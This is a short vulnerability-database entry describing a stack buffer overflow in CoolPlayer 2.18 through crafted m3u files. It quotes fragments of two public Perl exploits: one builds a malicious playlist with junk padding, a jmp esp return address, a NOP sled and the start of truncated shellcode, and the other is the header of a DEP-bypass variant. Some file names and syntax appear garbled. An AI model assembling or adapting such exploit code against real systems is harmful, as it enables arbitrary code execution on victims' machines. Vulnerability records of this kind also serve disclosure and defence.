Stack-based buffer overflow in CoolPlayer 2.18, and possibly other versions, allows user-assisted remote malicious users to execute arbitrary code via a crafted m3u file.
#!/usr/bin/perl
# Versions affected: 218
# Tested on: Windows XP Pro SP2
# Author: data$hack
# Usage: explpl
my $file= "exs3m3u";
my $junk= "A" x 223;
my $eip = pack('V',0x7C836940); #jmp esp from kernel
my $shellcode = "\x90" x 10;
$shellcode = $shellcode "\x33\xc9\xb8\xa2\xe0\xe4\x44\xb1\x33\xda\ ...
# Exploit Title: CoolPlayer 218 DEP Bypass
# Date: January 2, 2011
# Author: Blake
# Version: 218
# Tested on: Windows XP SP3 running in Virtualbox
# Uses SetProcessDEPPolicy() to disable DEP for the process
# Thanks to mr_me for the encouragement
# Exploit-DB Notes: May not work on all Win XP SP3 machines
print "\n============================"
...
Vulmon